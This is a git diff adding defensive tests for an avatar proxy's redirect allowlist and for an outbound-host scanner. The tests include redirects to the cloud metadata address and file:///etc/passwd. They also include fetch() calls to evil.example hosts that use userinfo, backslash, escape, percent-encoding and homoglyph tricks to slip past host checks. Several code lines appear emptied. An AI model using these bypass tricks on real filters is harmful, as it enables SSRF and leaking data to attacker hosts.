seen; + return impl; +} + +test("a redirect off the allowlist is refused, and never requested", async () => { + // The allowlist was checked once, against the URL the caller asked for, and + // `redirect: "follow"` then went wherever the response pointed. An allowlisted + // CDN issuing a redirect — or anyone able to place one there — made this + // loopback server a way to reach cloud metadata or another local service. + const impl = fetcher([reply(302, "http://169.254.169.254/latest/meta-data/")]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result, AVATAR_REDIRECT_BLOCKED); + assert.deepEqual(impl.seen, ["https://avatars.githubusercontent.com/u/1"], "the target must never be fetched"); +}); + +test("a redirect that stays on the allowlist is followed", async () => { + const impl = fetcher([reply(301, "https://gravatar.com/avatar/abc"), reply(200)]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result.status, 200); + assert.equal(impl.seen.length, 2); +}); + +test("a relative redirect is resolved against the current URL, not assumed safe", async () => { + const impl = fetcher([reply(302, "/other.png"), reply(200)]); + const result = await fetchAvatarFollowingAllowlist( + "https://gravatar.com/avatar/abc", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result.status, 200); + assert.equal(impl.seen[1], "https://gravatar.com/other.png"); +}); + +test("a non-http scheme in Location is refused", async () => { + // file:// and data: would otherwise be handed straight to fetch. + for (const location of ["file:///etc/passwd", "data:text/html,x"]) { + const impl = fetcher([reply(302, location)]); + const result = await fetchAvatarFollowingAllowlist("https://gravatar.com/a", {}, ALLOWLIST, impl); + assert.equal(result, AVATAR_REDIRECT_BLOCKED, location); + } +}); + +test("a redirect to a non-default port on an allowed host is refused, and never requested", async () => { + // The hostname allowlist alone is not an address allowlist. `gravatar.com:8443` + // passes any hostname check while pointing at a different service, so an + // allowlisted CDN could still walk this proxy across ports. + for (const location of [ + "https://gravatar.com:8443/x", + "http://gravatar.com:9200/x", + "//gravatar.com:22/x", + ]) { + const impl = fetcher([reply(302, location)]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result, AVATAR_REDIRECT_BLOCKED, location); + assert.deepEqual( + impl.seen, + ["https://avatars.githubusercontent.com/u/1"], + `${location} must never be fetched`, + ); + } +}); + +test("the scheme's default port is still accepted, written either way", async () => { + // The guard rejects a non-empty `port`, and `new URL` empties it for the + // default — so an explicit :443 must not be mistaken for a port change. + for (const location of ["https://gravatar.com:443/x", "https://gravatar.com/x"]) { + const impl = fetcher([reply(301, location), reply(200)]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result.status, 200, location); + assert.equal(impl.seen[1], "https://gravatar.com/x"); + } +}); + +test("the shared address guard refuses port, lookalike and scheme variants", async () => { + // This pins the predicate's target set. That the entry point and the redirect + // hop BOTH use it is a property of the source, not of this test: the handler + // calls isAllowedAvatarTarget at local-api.js:879 and the walk calls it at :60. + const refused = [ + "https://gravatar.com:8443/x", + "http://169.254.169.254/latest/meta-data/", + "https://gravatar.com.evil.example/x", + "https://evil-gravatar.com/x", + "file:///etc/passwd", + ]; + for (const target of refused) { + assert.equal(isAllowedAvatarTarget(new URL(target), ALLOWLIST), false, target); + } + for (const target of ["https://gravatar.com/x", "https://avatars.githubusercontent.com/u/1"]) { + assert.equal(isAllowedAvatarTarget(new URL(target), ALLOWLIST), true, target); + } +}); + +test("a redirect loop terminates instead of hanging", async () => { + const impl = fetcher(Array.from({ length: 10 }, () => reply(302, "https://gravatar.com/loop"))); + const result = await fetchAvatarFollowingAllowlist("https://gravatar.com/a", {}, ALLOWLIST, impl); + assert.equal(result, AVATAR_REDIRECT_BLOCKED); + assert.ok(impl.seen.length <= 5, `too many hops: ${impl.seen.length}`); +}); diff --git a/test/outbound-inventory.test.js b/test/outbound-inventory.test.js index 08ff8530..78aede17 100644 --- a/test/outbound-inventory.test.js +++ b/test/outbound-inventory.test.js @@ -31,6 +31,7 @@ const declared = (host, extra = {}) => ({ readme: false, purpose: "test", seen_in: ["src/a.js"], + request_from: ["src/a.js"], ...extra, }); @@ -124,32 +125,42 @@ test("an ignore entry cannot exempt more than the host it names", () => { ); }); -test("a declared host reached from an undeclared file is caught", () => { - // The check that closes the actual #100 shape. api.github.com is legitimately - // declared for the header star count, so re-adding the per-project call would - // pass a check that only asks "which hosts can we reach". The question that - // matters is also "from where". +test("a request from a file that only had permission to MENTION the host is caught", () => { + // The exact bypass an independent QA pass demonstrated on the merged branch. + // ProjectUsagePanel legitimately contains "https://github.com/" as a prefix it + // strips off project_ref, so file-level seen_in listed it as declared — and + // re-adding to that very file, + // the original defect, passed the check built to prevent it. const root = fixture({ files: { - "dashboard/src/Allowed.jsx": 'const u = "https://shared.example/ok";\n', - "dashboard/src/Sneaky.jsx": 'const u = `https://shared.example/${repo}`;\n', + "dashboard/src/Allowed.jsx": 'fetch("https://shared.example/ok");\n', + "dashboard/src/Mentions.jsx": [ + 'const ref = raw.replace("https://shared.example/", "");', + "const bad = ;", + "", + ].join("\n"), }, - hosts: [declared("shared.example", { seen_in: ["dashboard/src/Allowed.jsx"] })], + hosts: [ + declared("shared.example", { + seen_in: ["dashboard/src/Allowed.jsx", "dashboard/src/Mentions.jsx"], + request_from: ["dashboard/src/Allowed.jsx"], + }), + ], }); const findings = checkOutbound({ root }); - assert.equal(findings.length, 1); - assert.match(findings[0], /Sneaky\.jsx, which is not in its seen_in list/); + assert.equal(findings.length, 1, JSON.stringify(findings)); + assert.match(findings[0], /Mentions\.jsx:2 requests 'shared\.example'/); }); -test("seen_in is enforced, so it cannot drift into decoration", () => { +test("request_from is enforced, so it cannot drift into decoration", () => { // Every seen_in list in the committed inventory is exact. They were // hand-written first and were wrong in six entries; the repo test above is // what surfaced that, and this one states the expectation directly. const root = fixture({ files: { "src/a.js": 'const u = "https://x.example/1";\n' }, - hosts: [declared("x.example", { seen_in: ["src/nonexistent.js"] })], + hosts: [declared("x.example", { request_from: [] })], }); - assert.ok(checkOutbound({ root }).some((f) => f.includes("not in its seen_in list"))); + assert.ok(checkOutbound({ root }).some((f) => f.includes("not in its request_from list"))); }); // --- Half B ------------------------------------------------------------------ @@ -165,7 +176,7 @@ test("a runtime-built fetch target is caught where the file can reach outside", "", ].join("\n"), }, - hosts: [declared("exfil.example", { seen_in: ["dashboard/src/Bad.jsx"] })], + hosts: [declared("exfil.example", { seen_in: ["dashboard/src/Bad.jsx"], request_from: ["dashboard/src/Bad.jsx"] })], }); const findings = checkOutbound({ root }); assert.ok( @@ -189,3 +200,283 @@ test("a runtime-built fetch is left alone when the file names no external host", }); assert.deepEqual(checkOutbound({ root }), []); }); + +test("a host built by interpolation is resolved to its literal suffix", () => { + // `img.src = `http://${token}-${i}.d.ip.net.coffee/pixel.gif`` is a real + // browser request in IpCheckPage. A strict [a-zA-Z0-9._-]+ host pattern matches + // nothing there, so that destination was invisible to the check that most + // needed to see it — and the inventory described the host as server-only. + const root = fixture({ + files: { + "dashboard/src/Probe.jsx": "img.src = `http://${token}-${i}.probe.example/p.gif`;\n", + }, + }); + assert.ok( + checkOutbound({ root }).some((f) => f.includes("undeclared outbound host 'probe.example'")), + "the literal suffix of an interpolated host must be reported", + ); +}); + +test("an unresolvable interpolated host is not invented", () => { + // `http://${req.headers.host || "localhost"}` ends the match mid-expression. + // Guessing from the remainder reports `req.headers.host` as a destination, + // which is noise that trains people to ignore the check. + const root = fixture({ + files: { "src/serve.js": 'const u = new URL(p, `http://${req.headers.host || "localhost"}`);\n' }, + }); + assert.deepEqual(checkOutbound({ root }), []); +}); + +test("a comment is a mention; a clickable link needs link_from", () => { + // Comments are recognised positionally. Links are NOT guessed at: real ones + // appear as split across lines, as named constants used later, and as props + // threaded through components, and every heuristic for those is a guess whose + // wrong answer exempts a real request. Declaring them is a visible diff. + const root = fixture({ + files: { + "dashboard/src/Doc.jsx": [ + "// See https://docs.example/guide for the format.", + 'const link = docs;', + "", + ].join("\n"), + }, + hosts: [ + declared("docs.example", { + seen_in: ["dashboard/src/Doc.jsx"], + request_from: [], + link_from: ["dashboard/src/Doc.jsx"], + }), + ], + }); + assert.deepEqual(checkOutbound({ root }), []); +}); + +// --- Evasion ------------------------------------------------------------------ +// Written after adversarially attacking the check rather than only testing that +// it works. Three of these were live holes in the first cut of the sink model. + +const shared = (extra = {}) => ({ + host: "shared.example", + from: "browser", + user_data: false, + readme: true, + purpose: "test", + seen_in: ["dashboard/src/Ok.jsx", "dashboard/src/A.jsx"], + request_from: ["dashboard/src/Ok.jsx"], + link_from: [], + ...extra, +}); + +function attack(source, hosts = [shared()]) { + return checkOutbound({ + root: fixture({ + files: { + "dashboard/src/Ok.jsx": 'fetch("https://shared.example/ok");\n', + "dashboard/src/A.jsx": `${source}\n`, + }, + hosts, + readme: "shared.example evil.example", + }), + }); +} + +test("userinfo cannot disguise the real host as a permitted one", () => { + // In `https://shared.example@evil.example/p.png` the browser goes to + // evil.example; the part that looks permitted is attacker-chosen decoration. + // Reading the left side reports a permitted host; refusing to parse hides the + // request entirely. Both are wrong. + const findings = attack('const x = ;'); + assert.ok( + findings.some((f) => f.includes("evil.example")), + `expected evil.example to be reported, got: ${JSON.stringify(findings)}`, + ); +}); + +test("a protocol-relative URL is a request", () => { + // `//evil.example/p.png` inherits the page scheme and carries no scheme for a + // https?:// pattern to match, so it was invisible. + assert.ok(attack('const x = ;').some((f) => f.includes("evil.example"))); +}); + +test("string surgery elsewhere on the line does not exempt a request", () => { + // The mention test used to apply to the whole LINE, so putting the request + // beside an unrelated `.includes(` or `.replace(` silenced it — a one-character + // bypass of the check built to stop exactly this request. + for (const source of [ + 'if (k.includes("x")) el.innerHTML = ``;', + 'const s = ``.replace("a", "b");', + ]) { + assert.ok( + attack(source).some((f) => f.includes("A.jsx") && f.includes("requests")), + `not caught: ${source}`, + ); + } +}); + +test("a URL that IS the argument of a string operation stays a mention", () => { + // The counterpart. `raw.replace("https://shared.example/", "")` strips a prefix + // off a stored value; flagging it would train people to ignore the check. + assert.deepEqual(attack('const ref = raw.replace("https://shared.example/", "");'), []); +}); + +test("link_from covers a host the user clicks, and only where declared", () => { + const asLink = shared({ link_from: ["dashboard/src/A.jsx"] }); + assert.deepEqual(attack('const RELEASES = "https://shared.example/releases/latest";', [asLink]), []); + // The same file without the declaration is a request. + assert.ok(attack('const RELEASES = "https://shared.example/releases/latest";').length > 0); +}); + +test("a backslash ends the authority, so userinfo cannot borrow a permitted name", () => { + // WHATWG URL parsing treats `\` as `/`, so `https://evil.example\@github.com/p.png` + // reaches evil.example and the rest is decoration. Splitting on "/" alone + // resolved it to `github.com` — a DECLARED host. That is worse than a miss: + // where the file has permission for github.com, the check reads green while + // the request leaves for somewhere else. This repo already made the same + // backslash assumption in the Host-header guard (issue 88). + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + const findings = attack('const x = ;', [permitted]); + assert.ok( + findings.some((f) => f.includes("evil.example")), + `the real host must be reported, got: ${JSON.stringify(findings)}`, + ); + // Scoped to the line under test: the fixture's other file legitimately + // produces its own shared.example finding, which says nothing about parsing. + assert.ok( + !findings.some((f) => f.includes("A.jsx") && f.includes("'shared.example'")), + "the borrowed name must not be what this line resolves to", + ); +}); + +test("a trailing dot does not hide a host", () => { + // `other.example.` is a valid absolute FQDN that resolves identically. The + // hostname shape test rejected the dot and returned null, so the request was + // invisible rather than reported. + assert.ok(attack('const x = ;').some((f) => f.includes("other.example"))); +}); + +// --- Parser-level borrows ----------------------------------------------------- +// The scanner reads SOURCE TEXT; the runtime reads the DECODED string, and WHATWG +// URL parsing then removes tab/LF/CR. Every hole this control has had shares that +// root cause, so each shape gets a test rather than a note. + +test("an escaped control character cannot splice a permitted host", () => { + // `fetch("https://api.github.com\\t.evil.example/x")` is + // api.github.com.evil.example at runtime — verify with + // node -e 'console.log(new URL("https://a.example\\t.evil.example/").host)' + // Reading the source text and splitting on the backslash gave `api.github.com`: + // declared AND permitted, so the check read green while the request left for + // the attacker. Worse than a miss. + for (const escape of ["\\t", "\\u0009", "\\x09"]) { + const findings = attack(`fetch("https://shared.example${escape}.evil.example/x");`, [ + shared({ request_from: ["dashboard/src/A.jsx"] }), + ]); + assert.ok( + findings.some((f) => f.includes("shared.example.evil.example")), + `${escape} spliced host not resolved: ${JSON.stringify(findings)}`, + ); + } +}); + +test("a scheme with no slashes is still a request", () => { + // The IP-check page sends WebRTC STUN binding requests to Google and + // Cloudflare, disclosing the user's IP. `stun:` carries no `//` and appears in + // no https literal, so a scheme-anchored http(s) pattern could not see it — + // while the README certified "these hosts and no others". + assert.ok( + attack('const ice = [{ urls: "stun:stun.evil.example:19302" }];').some((f) => + f.includes("stun.evil.example"), + ), + ); +}); + +test("the scheme match is case-insensitive but does not fire inside another token", () => { + assert.ok(attack('const x = ;').some((f) => f.includes("evil.example"))); + // `arn:aws:bedrock:...` contains `ws:` and was reported as a host called + // `bedrock` — the noise that gets a check switched off. + assert.deepEqual(attack('const arn = "arn:aws:bedrock:us-east-1:1:foundation-model/x";'), []); +}); + +test("an interpolated suffix pins only a real zone, never a bare TLD", () => { + // `${sub}github.com` can resolve to the registrable `evilgithub.com`, so no pin. + // `${src}.ai` pins nothing either — `ai` is the TLD itself, and a comment + // illustrating a bad URL should not be reported as a destination. + assert.deepEqual(attack('const u = `https://${sub}shared.example/x`;'), []); + assert.deepEqual(attack("// fabricating `https://${src}.ai` resolves to unrelated domains"), []); + // A boundary that IS a zone still pins. + assert.ok( + attack("img.src = `http://${token}-${i}.probe.evil.example/p.gif`;").some((f) => + f.includes("probe.evil.example"), + ), + ); +}); + +test("data_from covers a host stored as a value and never fetched", () => { + // A mock fixture's `project_ref` is neither a link nor a request. Without its + // own category it lands on `link_from`, which is an UNCONDITIONAL waiver: once + // a file is there, any future request to that host from it passes forever. + const asData = shared({ data_from: ["dashboard/src/A.jsx"] }); + assert.deepEqual(attack('const row = { project_ref: `https://shared.example/${repo}` };', [asData]), []); +}); + +test("percent-encoding in the authority cannot borrow a permitted host", () => { + // `https://shared.example%2eevil.example/x` resolves to + // shared.example.evil.example — a decoded dot is a valid host character: + // node -e 'console.log(new URL("https://a.example%2eevil.example/").host)' + // The hostname shape test rejected the `%` and returned null, so the request + // was silently green. Same source-text-versus-decoded-string root cause as the + // escape splice, one encoding layer further out. + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + const findings = attack('fetch("https://shared.example%2eevil.example/x");', [permitted]); + assert.ok( + findings.some((f) => f.includes("shared.example.evil.example")), + `percent-decoded host not resolved: ${JSON.stringify(findings)}`, + ); +}); + +test("a lookalike character cannot be stripped into a permitted host", () => { + // `https://аapi.github.com` — the first `а` is Cyrillic. The runtime punycodes + // it to xn--api-5cd.github.com; a `[^a-zA-Z0-9]` strip quietly removed it and + // resolved to `api.github.com`, declared AND permitted. Green while it leaks. + // + // Six hand-rolled parsing rounds failed the same way, so host resolution now + // defers to `new URL()` — the parser the runtime itself uses. + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + const findings = attack('fetch("https://аshared.example/x");', [permitted]); + assert.ok( + findings.some((f) => f.includes("xn--")), + `punycode host not reported: ${JSON.stringify(findings)}`, + ); +}); + +test("an ideographic full stop is a label separator", () => { + // U+3002 is normalised to "." by WHATWG, so `shared.example。evil.example` + // resolves to shared.example.evil.example. + const permitted = shared({ request_from: ["dashboard/src/A.jsx"] }); + assert.ok( + attack('fetch("https://shared.example。evil.example/x");', [permitted]).some((f) => + f.includes("evil.example"), + ), + ); +}); + +test("interpolation in the path leaves the host literal", () => { + // `https://evil.example/${owner}.png` has a resolvable authority. Testing the + // whole string for `${` sent every such URL down the pin path, where it + // resolved to nothing — a silent miss on the commonest shape there is. + assert.ok( + attack("const x = ;").some((f) => + f.includes("evil.example"), + ), + ); +}); + +test("a regex literal stripping a URL prefix is not a destination", () => { + // `repoInput.replace(/^https:\/\/github\.com\//, "")` is string surgery on user + // input. The `/^` between `replace(` and the URL hid that, and the escaped + // slashes then resolved to a bare `github` — a demand to declare a host that + // does not exist. + assert.deepEqual( + attack('const raw = repoInput.trim().replace(/^https:\\/\\/shared\\.example\\//, "");'), + [], + ); +}); diff --git a/test/source-is-greppable.test.js b/test/source-is-greppable.test.js new file mode 100644 index 00000000..b542d663 --- /dev/null +++ b/test/source-is-greppable.test.js @@ -0,0 +1,53 @@ +const assert = require("node:assert/strict"); +const fs = require("node:fs"); +const path = require("node:path"); +const { test } = require("node:test"); + +const ROOT = path.resolve(__dirname, ".."); +const SCAN_DIRS = ["src", "dashboard/src", "scripts"]; +const EXTENSIONS = new Set([".js", ".jsx", ".ts", ".tsx", ".cjs", ".mjs", ".json", ".md"]); +const NUL = String.fromCharCode(0); + +function walk(dir, out = []) { + if (!fs.existsSync(dir)) return out; + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + if (entry.name === "node_modules" || entry.name === "dist") continue; + walk(full, out); + } else if (EXTENSIONS.has(path.extname(entry.name))) { + out.push(full); + } + } + return out; +} + +// `src/lib/skills-manager.js` carried two raw U+0000 bytes inside what were meant +// to be `\0` escapes. Runtime-identical — but a raw NUL flips a file to "binary" +// for grep and ripgrep, which then report NOTHING and exit as if they had +// searched it. Every grep-based audit silently skipped the one file that does the +// server-side GitHub traffic, and three separate searches during a privacy audit +// came back empty while the content was plainly there. +// +// Whether that was an accident or a deliberate probe, it is exactly how a host +// would be hidden from a human reviewer. `scripts/validate-outbound.cjs` reads +// with Node and was never fooled; people and their tools were. +test("no source file contains a raw NUL byte", () => { + const offenders = []; + for (const dir of SCAN_DIRS) { + for (const file of walk(path.join(ROOT, dir))) { + const content = fs.readFileSync(file, "utf8"); + if (!content.includes(NUL)) continue; + const lines = content + .split("\n") + .map((line, index) => (line.includes(NUL) ? index + 1 : null)) + .filter(Boolean); + offenders.push(`${path.relative(ROOT, file)}:${lines.join(",")}`); + } + } + assert.deepEqual( + offenders, + [], + `raw NUL bytes make a file invisible to grep — write the two-character escape \\0 instead: ${offenders.join(" ")}`, + ); +});